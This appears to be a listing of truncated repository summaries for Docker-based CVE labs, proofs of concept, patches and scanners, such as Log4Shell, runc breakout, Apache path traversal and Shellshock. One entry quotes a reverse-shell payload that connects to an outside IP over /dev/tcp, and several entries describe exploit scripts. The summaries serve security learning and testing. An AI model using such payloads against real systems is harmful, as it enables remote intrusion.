pulsar-docker-images-patch-CVE-2021-44228

Patch pulsar images with Apache Log4J 2.17.1 upgrade Covers CVE-2021-44228, CVE-2021-45046, CVE-2021-45105 CVE-2021-44832 See Log4J Security Vulnerabilities and upgrades for more information. see the Dockerfile for the solution Building and pushing patched docker images example usage: build and t...

CVE-2025-9074

Description Vibe coded a small exploit script in pure Bash without dependencies on tools that might not be installed. The script talks to the internal Docker API, creates and starts a new container, mounts the host C drive and then executes a command inside that. The output is streamed back to th...

ingress-nginx-0.21-1.19.5

BUILD: cd ./ingress-nginx-0.21-1.19.5 cd images/nginx/ make cd - cd images/e2e/ make docker-build cd - e2etag=docker images|grep e2e|awk 'print $2' sed -i "s/e2e:v12232020-dce860a/e2e:$e2etag/" build/go-in-docker.sh make echo -e '\n\n\n\n\n' docker images|grep ingress-nginx...

Docker-breakout-runc

Docker breakout via runc Originally from : https://github.com/Frichetten/CVE-2019-5736-PoC. This repo is simply me messing around with the PoC and attempting to figure the exploit's flow...

WSGoat

WebSocket GOAT A deliberately vulnerable, Dockerized WebSocket application designed for learning and practicing WebSocket security testing in a controlled environment. The lab implements a realistic web application with authentication, private messaging, user profiles, and multiple WebSocket...

cve-2021-44228-log4j-test

cve-2021-44228-log4j-test Test 1. LDAP Server and Exploit File Download Server 1.1 Running Docker-compose docker-compose.yml version: '2' services: dockerdj: image: openidentityplatform/opendj:latest containername: ldap environment: ROOTUSERDN: "cn=han" ROOTPASSWORD: "han" BASEDN:...

React2Shell

React2Shell — Vulnerable Lab CVE-2025-55182 React2Shell is an intentionally vulnerable React.js application provided for educational and research related to CVE-2025-55182. It contains deliberately insecure code and must not be used in production. The project is packaged and run using Docker,...

cve-2020-23127-PoC

cve-2020-23127-PoC CVE-2020-23127: https://www.cvedetails.com/cve/CVE-2020-23127/ Introduction This is my first CVE proof of concept and analysis. It was done as part of my cyber-security course on my 2nd year of Master in Computer Sciences at Université de Franche-Comté. I looked specifically fo...

CVE-2021-41773S

Vulnerable docker images for CVE-2021-41773 Apache path traversal This vulnerabiltiy only applies to version 2.4.49 that have specific non-default configs. In certain situations this can result in either file read or code execution. https://twitter.com/ptswarm/status/1445376079548624899 Vulnerabl...

CVE-2025-34299-lab

CVE-2025-34299 Test Environment Docker test environment for CVE-2025-34299 - Monsta FTP Pre-Authentication Remote Code Execution vulnerability. Vulnerability Details Field| Value ---|--- CVE ID| CVE-2025-34299 Severity| Critical CVSS 9.8 CWE| CWE-434 Unrestricted Upload of File with Dangerous Typ...

apache-cve-2021-42013-lab

Apache HTTP Server 2.4.49 Path Traversal & Remote Code Execution CVE-2021-42013 About the Project In this project, I demonstrated the CVE-2021-42013 vulnerability in Apache HTTP Server version 2.4.49 in a lab environment I created using Docker. The goal is to examine how the vulnerability occurs,...

Package-Inferno

PackageInferno Blazingly simple, Docker‑first npm supply‑chain scanner. One compose file runs: Enumerator → builds the queue of packages Fetcher → downloads tarballs and optionally uploads to S3 Analyzer → static analysis + optional YARA Postgres → local DB for findings Streamlit Dashboard →...

EXPLOIT-CVE-2026-26216

CVE-2026-26216 — Crawl4AI unauthenticated RCE via hooks GHSA-5882-5rx9-xgxp CVSS 10.0 · pre-auth RCE · CWE-94 Code Injection Unauthenticated remote code execution on the Crawl4AI Docker server field. This code is executed with exec inside a "homemade sandbox" — a restricted builtins dictionary...

instaloctrack

instaloctrack TL;DR : ascineema, video of the project A tool to scrape geotagged locations on Instagram profiles. Output in JSON & interactive map. requirements sudo apt install chromium-chromedriver && chmod a+x /usr/bin/chromedriver 🛠️ installation git clone...

shellshock-victim-host

shellshock-victim-host A docker container vulnerable to Shellshock - CVE-2014-6271 Run podman build -t shellshock-victim . podman run -it -p 80:8080 shellshock-victim Note: Builds with docker as well. The vulnerable app will be deployed on : http://localhost:8080/victim.cgi - Vulnerable endpoint...

CVE-2026-20896

CVE-2026-20896 Gitea's official Docker image up to and including 1.26.2 ships REVERSEPROXYTRUSTEDPROXIES = in its default config. If you turn on reverse-proxy login, that wildcard means every source IP is treated as a trusted proxy, so anyone who can reach the port can send an X-WEBAUTH-USER head...

CVE-2019-5736

🖥️ -h3x0v3rl0rd- ️⃣ CVE-2019-5736 Usage : machine is vulnerable to CVE-2019-5736, follow steps in Runc exploit CVE-2019-5736. Download file main.go, change the payload in the file into: var payload = "!/bin/bash \n bash -i & /dev/tcp/10.10.14.12/1234 0&1" After that, run: go build main.go Host a...

Demo_CVE-2025-3248

DemoCVE-2025-3248 — Educational PoC Purpose: Simulate the vulnerability CVE-2025-3248 in an isolated environment for information security learning: build a lab, observe exploitable behavior, and discuss mitigation measures. ⚠️ LEGAL & ETHICAL DISCLAIMER ETHICAL USE ONLY All content in this...

PIL-CVE-2017-8291-study

PIL-CVE-2017-8291 White Hat School 3rd term, Class 13, Baek Seung-hoon @shun1403 https://github.com/shun1403/PIL-CVE-2017-8291.git Environment: Ubuntu Linux Environment Setup Upgrade to V2 via sudo apt install -y docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin If...

CVE-2021-41773

CVE-2021-41773 Docker $ sudo docker build -t . $ sudo docker run -d -t -p 80:80 --name /bin/bash $ sudo docker exec -it ./bin/apachectl -k restart To access docker container for custom config file $ docker exec -it /bin/bash file config in /usr/local/apache2/conf/httpd.conf after config run comma...